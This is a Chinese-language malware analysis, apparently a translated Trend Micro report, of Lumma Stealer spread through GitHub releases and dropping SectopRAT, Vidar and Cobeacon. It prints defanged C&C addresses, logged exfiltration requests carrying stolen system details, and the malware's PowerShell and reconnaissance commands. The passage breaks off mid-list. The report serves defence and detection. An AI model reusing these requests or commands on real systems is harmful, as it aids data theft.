Lumma Stealer通过GitHub分发的攻击链与MDR检测分析

本文详细分析了Lumma Stealer通过GitHub发布基础设施分发恶意软件的攻击链,包括初始访问、执行、SectopRAT和Vidar的部署,以及相关的TTPs和防御建议。

Lumma Stealer通过GitHub分发的攻击链与MDR检测分析

摘要

趋势科技Managed XDR团队调查了一起通过GitHub分发Lumma Stealer的活动,攻击者滥用GitHub的发布基础设施来分发各种恶意软件,包括SectopRAT、Vidar和Cobeacon。攻击者使用GitHub发布基础设施进行初始访问,用户从安全URL下载文件。这些文件窃取敏感数据并连接到外部C&C服务器,执行命令以规避检测。Lumma Stealer以及其他恶意软件变体投放并执行其他工具,生成多个目录并暂存数据。使用了PowerShell脚本和Shell命令等技术来实现持久性和数据窃取。事件中使用的战术、技术和程序(TTPs)与Stargazer Goblin组织使用的TTPs存在重叠,该组织以使用受感染的网站和GitHub进行有效载荷分发而闻名。分析揭示了URL模式的一致性以及使用受感染的合法网站重定向到GitHub托管的恶意有效载荷。主动实施安全最佳实践和建议将帮助组织加强防御,以应对像Lumma Stealer这样的威胁。这包括在下载前验证URL和文件,定期验证数字证书,以及使用能够检测和阻止恶意活动的终端安全解决方案。

引言

趋势科技™ Managed XDR发现了一个涉及Lumma Stealer(一种信息窃取恶意软件)的复杂活动,该活动通过GitHub的发布基础设施进行分发。调查显示,恶意行为者利用GitHub作为受信任的平台来分发该窃取程序,随后启动了额外的恶意活动。然后下载并执行其他威胁,包括SectopRAT(一种远程访问木马)、Vidar、Cobeacon和另一个Lumma Stealer变体。该活动与归因于Stargazer Goblin组织的战术存在显著重叠,该威胁行为者使用受感染的网站和GitHub仓库进行有效载荷分发。感染链和有效载荷使用的变化进一步证明了该组织的适应性和不断演变的方法。本文剖析了这些攻击中使用的战术、技术和程序(TTPs),强调了网络威胁情报在揭示攻击者策略方面的关键作用。

初始访问

在两个独立的Lumma Stealer案例中,我们将初始访问点追溯到从GitHub发布基础设施下载文件。在一个实例中,用户通过Google Chrome浏览器下载了一个名为Pictore.exe的文件,URL指向托管在云服务提供商上的GitHub托管发布资产。类似地,我们调查的另一个案例涉及下载App_aeIGCY3g.exe,该文件也通过GitHub的发布机制临时托管。这些事件展示了攻击者利用像GitHub这样的受信任平台分发恶意文件的策略。

两个文件最初由ConsolHQ LTD和Verandah Green Limited签名(分别在2024年12月6日和12月12日)。然而,它们的证书已被发行者明确撤销,表明这些文件现在被视为不可信且可能恶意。

从遥测中提取的GitHub URL字符串如下:

1
https[:]//objects.githubusercontent[.]com/github-production-release-asset-2e65be/898537481/194f6acb-d420-4d97-b7c1-01741d4bc184?X-Amz-Algorithm=AWS4-HMAC-SHA256&X-Amz-Credential=releaseassetproduction%2F20241204%2Fus-east-1%2Fs3%2Faws4_request&X-Amz-Date=20241204T193520Z&X-Amz-Expires=300&X-Amz-Signature=80e7a9318067557b21a24d1906ab3f05a5f250eb63dde4dd8a3335908953a46a&X-Amz-SignedHeaders=host&response-content-disposition=attachment%3B%20filename%3DPictore.exe&response-content-type=application%2Foctet-stream

在此示例中,URL提供临时、安全的访问以下载名为Pictore.exe的文件,来自GitHub的发布资产存储,X-Amz-Expires参数指示URL仅有效300秒(5分钟)。使用预签名URL进一步表明该文件是与特定GitHub仓库关联的发布的一部分,确保下载经过身份验证且有时间限制。

执行

我们将文件Pictore.exe和App_aeIGCY3g.exe识别为Lumma Stealer,这是一种信息窃取恶意软件,旨在窃取敏感信息(如凭据、加密货币钱包、系统信息和文件),同时与攻击者控制的服务器通信以促进进一步的恶意活动。由于两个文件表现出相同的行为,本文将主要关注从Pictore.exe收集的数据。

执行Pictore.exe生成以下文件:

  • nsis7z.dll
  • app-64.7z
  • System.dll
  • nse2869.tmp
  • nsu27DC.tmp

丢弃的文件C:\Users<username>\AppData\Local\Temp\1\nse2869.tmp\nsis7z.dll是一个7zip归档工具,用于从归档C:\Users<username>\AppData\Local\Temp\1\nse2869.tmp\app-64.7z中提取文件。

从app-64.7z归档中提取的文件被解压到目录C:\Users<username>\AppData\Local\Temp\1\nse2869.tmp\7z-out\,其中包含Lumma Stealer及其组件。这些文件表明恶意可执行文件是使用Electron构建的(使用Chromium进行渲染),或者本身是一个基于Chromium的应用程序。默认情况下,Electron应用程序将Chromium与应用程序捆绑以渲染图形用户界面。使用像.pak文件和V8快照这样的Chromium资源也表明该应用程序可能是一个Electron应用程序。

我们观察到Pictore.exe连接到两个外部IP地址,可能是它们的命令和控制(C&C)服务器——192[.]142[.]10[.]246:80和192[.]178[.]54[.]36:443。同时,App_aeIGCY3g.exe通过端口80连接到84[.]200[.]24[.]26。

检查我们的Trend Vision One™遥测,我们发现了以下HTTP请求到外部IP地址192[.]142[.]10[.]246和84[.]200[.]24[.]26:

1
2
GET hxxp://192[.]142[.]10[.]246/login.php?event=init&id=Y3VjdW1iZXI=&data=MTYgR0JfW29iamVjdCBPYmplY3RdX01pY3Jvc29mdCBCYXNpYyBEaXNwbGF5IEFkYXB0ZXJfdHJ1ZV8xNDAweDEwNTBfV2luZG93cyAxMCBQcm9fMyBtaW51dGVzICgwLjA2IGhvdXJzKV9DOlxVc2Vyc1xCcnVub19ERVNLVE9QLUVUNTFBSk9fQnJ1bm9fV2luZG93c19OVF94NjRfMTAuMC4xOTA0NF9DOlxVc2Vyc1xCcnVub1xBcHBEYXRhXFJvYW1pbmdfQzpcVXNlcnNcQnJ1bm9cQXBwRGF0YVxMb2NhbFxUZW1wX0RFU0tUT1AtRVQ1MUFKT19fSW50ZWw2NCBGYW1pbHkgNiBNb2RlbCA4NSBTdGVwcGluZyA3LCBHZW51aW5lSW50ZWxfQU1ENjRfQzpfNF9DOlxVc2Vyc1xCcnVub1xBcHBEYXRhXExvY2FsXFRlbXBcMnBsRVRXRzM1RXdheU5zRnBXQ01Xcnd2VnJnXFBpY3RvcmUuZXhl
GET hxxp://84[.]200[.]24[.]26/login.php?event=init&id=dW5kZXJza2lydA==&data=MTYgR0JfW29iamVjdCBPYmplY3RdX01pY3Jvc29mdCBCYXNpYyBEaXNwbGF5IEFkYXB0ZXJfdHJ1ZV8xMjgweDk2MF9XaW5kb3dzIDEwIFByb18zIG1pbnV0ZXMgKDAuMDYgaG91cnMpX0M6XFVzZXJzXEJydW5vX0RFU0tUT1AtRVQ1MUFKT19CcnVub19XaW5kb3dzX05UX3g2NF8xMC4wLjE5MDQ0X0M6XFVzZXJzXEJydW5vXEFwcERhdGFcUm9hbWluZ19DOlxVc2Vyc1xCcnVub1xBcHBEYXRhXExvY2FsXFRlbXBfREVTS1RPUC1FVDUxQUpPX19JbnRlbDY0IEZhbWlseSA2IE1vZGVsIDg1IFN0ZXBwaW5nIDcsIEdlbnVpbmVJbnRlbF9BTUQ2NF9DOl80X0M6XFVzZXJzXEJydW5vXEFwcERhdGFcTG9jYWxcVGVtcFwycHBydEJkanpoZjVpVnRUZkFKVDVhTnNSeERcU2NpZWxmaWMuZXhl 200

解码后的URL字符串结果如下:

1
2
hxxp://192[.]142[.]10[.]246/login.php?event=init&id=cucumber=&data=16 GB_[object Object]_Microsoft Basic Display Adapter_true_1400x1050_Windows 10 Pro_3 minutes (0.06 hours)_C:\Users\<username>_DESKTOP-<computername>_<username>_Windows_NT_x64_10.0.19044_C:\Users\<username>\AppData\Roaming_C:\Users\<username>\AppData\Local\Temp_DESKTOP-<computername>__Intel64 Family 6 Model 85 Stepping 7, GenuineIntel_AMD64_C:_4_C:\Users\<username>\AppData\Local\Temp\2plETWG35EwayNsFpWCMWrwvVrg\Pictore.exe
GET hxxp://84[.]200[.]24[.]26/login.php?event=init&id=underskirt==&data=16 GB_[object Object]_Microsoft Basic Display Adapter_true_1280x960_Windows 10 Pro_3 minutes (0.06 hours)_C:\Users\<username>_DESKTOP-<computername>_<username>_Windows_NT_x64_10.0.19044_C:\Users\<username>\AppData\Roaming_C:\Users\<username>\AppData\Local\Temp_DESKTOP-<computername>__Intel64 Family 6 Model 85 Stepping 7, GenuineIntel_AMD64_C:_4_C:\Users\<username>\AppData\Local\Temp\2pprtBdjzhf5iVtTfAJT5aNsRxD\Scielfic.exe

字符串显示恶意软件收集了系统信息,包括RAM大小、显示适配器、操作系统版本、主机名、运行时间、用户目录路径和临时目录内容。然后可能将这些数据外泄到攻击者控制的服务器(192[.]142[.]10[.]246和84[.]200[.]24[.]26)。

Pictore.exe(以及App_aeIGCY3g.exe)生成了以下Shell命令行:

命令行 详情
Pictore.exe –type=utility –utility-sub-type=network.mojom.NetworkService –lang=en-US –service-sandbox-type=none –user-data-dir=“C:\Users<redacted>\AppData\Roaming\qfwbhfiixlbsvkug” –mojo-platform-channel-handle=2472 –field-trial-handle=1996,i,16339862247624116936,1579335656413102094,131072 –disablefeatures=SpareRendererForSitePerProcess,WinRetrieveSuggestionsOnlyOnDemand /prefetch:8 该命令收集GPU信息,如供应商ID、设备ID和驱动程序版本等。它禁用GPU沙箱以帮助避免通过可能监控GPU进程的安全软件进行检测。它检查GPU配置以检测是否在虚拟化环境中运行(这在安全实验室和沙箱中很常见)。
Pictore.exe –type=utility –utility-sub-type=network.mojom.NetworkService –lang=en-US –service-sandbox-type=none –user-data-dir=“C:\Users<redacted>\AppData\Roaming\qfwbhfiixlbsvkug” –mojo-platform-channel-handle=2472 –field-trial-handle=1996,i,16339862247624116936,1579335656413102094,131072 –disable-features=SpareRendererForSitePerProcess,WinRetrieveSuggestionsOnlyOnDemand /prefetch:8 该命令收集网络相关信息,如服务和平台通道句柄,以建立与恶意服务的通信。它禁用某些功能以避免检测并增强Lumma Stealer的功能。它配置自定义用户数据目录以存储或暂存数据。使用特定标志绕过沙箱机制并可能规避安全监控工具。
Pictore.exe –type=gpu-process –user-data-dir=“C:\Users<redacted>\AppData\Roaming\qfwbhfiixlbsvkug” –gpu-preferences=UAAAAAAAAADgAAAYAAAAAAAAAAAAAAAAAAAAABgAAAAAAAwAAAAAAAAAAAAAAAAAQAAAAAAAAAAAAAAAAAAAAAAAAAABgAAAAAAAAAGAAAAAAAAAAIAAAAAAAAAAgAAAAAAAAACAAAAAAAAAA= –mojo-platform-channel-handle=2000 –field-trial-handle=1996,i,16339862247624116936,1579335656413102094,131072 –disable-features=SpareRendererForSitePerProcess,WinRetrieveSuggestionsOnlyOnDemand /prefetch:2 该命令收集GPU偏好以调整系统行为进行规避,使用自定义用户数据目录暂存数据,并禁用功能以绕过检测。编码的GPU设置和平台句柄表明与攻击者控制的服务进行隐蔽通信,同时避免安全软件。
powershell.exe -NoProfile -NoLogo -InputFormat Text -NoExit -ExecutionPolicy Unrestricted -Command - 该命令启动具有无限制脚本执行权限的PowerShell,防止加载配置文件和徽标,保持会话开放以执行进一步命令,并允许通过管道执行额外代码(通常用于隐蔽或恶意活动)。
C:\Windows\system32\cmd.exe /d /s /c “findstr /C:“Detected boot environment” “%windir%\Panther\setupact.log”” 该命令使用findstr命令在setupact.log文件中搜索短语"Detected boot environment"。通常用于在设置或安装过程中检查系统的启动环境,可能用于收集有关系统状态的信息以进行侦察。
C:\Windows\system32\cmd.exe /d /s /c “echo %COMPUTERNAME%.%USERDNSDOMAIN%” 该命令回显计算机的完全限定域名(FQDN),这是计算机名称(%COMPUTERNAME%)和DNS域(%USERDNSDOMAIN%)的组合。通常用于收集有关系统网络配置的信息,特别是机器的名称和域。
C:\Windows\system32\cmd.exe /d /s /c “chcp” 该命令设置命令提示符中的活动代码页编号。可用于确保恶意软件在具有不同区域设置的环境中正确运行。

表1. Shell命令行

SectopRAT、Vidar和Lumma Stealer

我们发现初始的Lumma Stealer文件Pictore.exe和App_aeIGCY3g.exe在受影响的机器上投放了各种工具和恶意软件,如SectopRAT、Vidar、Cobeacon和另一个Lumma Stealer变体。这些文件在临时目录中随机命名(可能是动态生成)的文件夹中创建,随后被执行。

SectopRAT

创建了以下SectopRAT文件:

  • C:\Windows\system32\cmd.exe /d /s /c ““C:\Users<username>\AppData\Local\Temp\1\yVUCCXe3c5E4qLcCd4\PillsHarvest.exe””
  • C:\Windows\system32\cmd.exe /d /s /c ““C:\Users<username>\AppData\Local\Temp\1\yVUCCXe3c5E4qLcCd4\BelfastProt.exe””
  • C:\Windows\system32\cmd.exe /d /s /c ““C:\Users<username>\AppData\Local\Temp\cxCzdFWzpj8waIrVyr\HumanitarianProvinces.exe””
  • C:\Windows\system32\cmd.exe /d /s /c ““C:\Users<username>\AppData\Local\Temp\2pprtBdjzhf5iVtTfAJT5aNsRxD\Scielfic.exe””

注意,由于所有SectopRAT文件表现出相同的行为,我们将重点分析文件HumanitarianProvinces.exe。

执行后,HumanitarianProvinces.exe在位于C:\Users<user>\AppData\Local\Temp\的临时目录中生成了多个随机命名的目录。以下是一些这些目录的示例: Now, Eternal, Pressing, Recommend, Sen, Schema, Openings, Access, Earn, Signup, Cheats, Gift, Silver,

comments powered by Disqus
使用 Hugo 构建
主题 StackJimmy 设计